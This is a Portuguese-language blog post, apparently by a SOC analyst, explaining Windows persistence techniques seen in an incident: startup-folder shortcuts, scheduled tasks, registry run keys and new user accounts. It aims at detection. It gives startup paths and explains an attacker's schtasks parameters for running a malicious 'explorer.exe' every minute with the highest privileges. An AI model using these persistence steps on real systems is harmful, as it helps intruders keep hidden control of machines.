Startup Folder
Para iniciar, introduzirei uma técnica muito interessante e efetiva em ambientes sem monitoramento e análise comportamental. Por padrão, o sistema operacional Windows possui diretórios de startup que são críticos e comumente utilizados por agentes de ameaça que buscam persistência no ambiente, sendo eles:
Startup global (todos os usuários): C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
Startup de usuário especifico: C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
A inclusão de programas ou scripts como arquivos com extensões ps1, .bat, .cmd, entre outros… nestes diretórios do sistema irá resultar em sua execução automática sempre que um usuário se autenticar. Essa prática é frequentemente explorada por agentes maliciosos como uma forma eficaz de garantir persistência no ambiente comprometido. Ao configurar esses arquivos para serem executados em momentos estratégicos, como o logon do usuário, o invasor assegura que seu código continue ativo, mesmo após reinicializações ou tentativas de limpeza, mantendo o controle sobre o sistema de forma discreta e contínua.
Observamos a utilização desta técnica em um ataque recentemente presenciado pela nossa equipe, onde, após ganhar acesso ao endpoint, o agente de ameaça realizou o upload de um malware nomeado como “explorer.exe” no sistema e imediatamente adicionou um arquivo .lnk referenciando ao malware no diretório: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Tarefas agendadas
A criação e utilização de tarefas agendadas, poderia ser considerada a técnica de persistência mais conhecida e comumente utilizada em um ambiente comprometido, a técnica consiste na utilização do recurso de criação de tarefas agendadas nativo do Windows para realizar a execução periódica de arquivos ou scripts maliciosos, desta forma garantindo que, mesmo que o processo malicioso seja finalizado por um usuário do sistema, o mesmo volte a ser executado através da utilização deste recurso.
No mesmo incidente citado anteriormente, foi também possível presenciar a criação de uma tarefa agendada cujo a finalidade era executar um software malicioso a cada 1 minuto no ambiente, como mostrado na imagem abaixo:
Na imagem e linha de comando acima é possivel observar a utilização do processo nativo “schtasks.exe” para criar uma tarefa agendada com os seguintes parametros:
/create: Cria uma nova tarefa.
/f: Força a criação, sobrescrevendo qualquer tarefa existente com o mesmo nome.
/RL HIGHEST: Define o nível de privilégio como máximo (executa com privilégios de administrador).
/sc minute: Define a frequência da tarefa como a cada minuto.
/mo 1: Modificador da frequência — neste caso, a cada 1 minuto.
/tn "explorer": Nome da tarefa será "explorer".
/tr "C:\Users\Administrator\AppData\Roaming\explorer.exe": Caminho do arquivo malicioso nomeado como “explorer.exe”.
Por mais que os parâmetros definidos aparentam ser bem “barulhentos” ainda assim há dificuldade em sua detecção sem o auxílio de ferramentas que estejam configuradas corretamente para realizar a busca por esses comportamentos característicos.
Chaves de registro.
Chaves de registro são peças fundamentais no sistema operacional, por serem responsáveis por garantir o funcionamento de praticamente todos os processos, serviços e conexões existentes no sistema, incluindo também a inicialização dos programas, por esse motivo, alterações e criações de novas chaves de registro no Windows são técnicas extremamente comuns de serem utilizadas por agentes de ameaça para se manter vivo no ambiente, sendo bem semelhante com a primeira técnica discutida neste post, as seguintes chaves de registro geralmente tornam-se alvo de cibercriminosos que buscam adicionar a elas um “valor” que posteriormente irão realizar a execução de processos maliciosos.
As chaves de registro apresentadas acima são apenas um exemplo de muitas outras, que possuem capacidades semelhantes, portanto é sempre recomendado configurar ferramentas de detecção para monitorar qualquer alteração ou criação suspeita de chaves de registro que possam ter ocorrido no sistema.
Como podem ver, no incidente analisado por nossa equipe, também foram detectadas mudanças em chaves de registro, onde as alterações realizadas tinham como objetivo executar o conhecido malware nomeado como “explorer.exe” no sistema, utilizando as chaves citadas anteriormente.
Criação de usuários.
A criação de novos usuários em sistemas comprometidos é uma prática comum em incidentes de segurança. Essa técnica é frequentemente usada para garantir persistência no ambiente invadido. Quando um atacante cria contas adicionais no endpoint afetado, ele estabelece uma forma de retorno fácil ao sistema, mesmo que as credenciais originais sejam alteradas ou revogadas. Assim, caso o usuário legítimo tente mitigar o ataque trocando senhas ou removendo acessos, o invasor ainda pode retomar o controle utilizando os usuários previamente criados, dando continuidade às suas ações maliciosas.
Portanto, é sempre muito recomendado realizar a detecção e homologação de todos os usuários criados no ambiente, independentemente se são locais, de serviço ou do domínio, além de definir precisamente quem possuirá o nível de privilégio necessário para realizar criações de novos usuários no sistema.
Conclusão
Após analisar algumas das mais famosas técnicas de persistência utilizadas “world-wide”, entende-se que um Adversário bem preparado irá quase sempre, utilizar mais de uma técnica de persistencia em um ambiente comprometido, e que não existe grande complexidade em desenvolve-las e coloca-las em operação, portanto o analista de SOC treinado a buscar e reconhecer essas praticas, tende a estar sempre um passo a frente dos cibercriminosos.
Graduado em Análise e Desenvolvimento de Sistemas pela Universidade Paulista, e Pós-graduando em “Defensive Cyber Security” pela FIAP, atua como N1 no time de SOC da CYLO, é responsável por realizar a primeira análise e resposta de incidentes cibernéticos, realizou capacitações no campo de SOC/CSIRT, tendo como destaque os treinamentos promovidos pela CERT.BR em conjunto com a instituição Carnegie Mellon University “Foundations of Incident Management” e “Advanced Topics in Incident Handling”
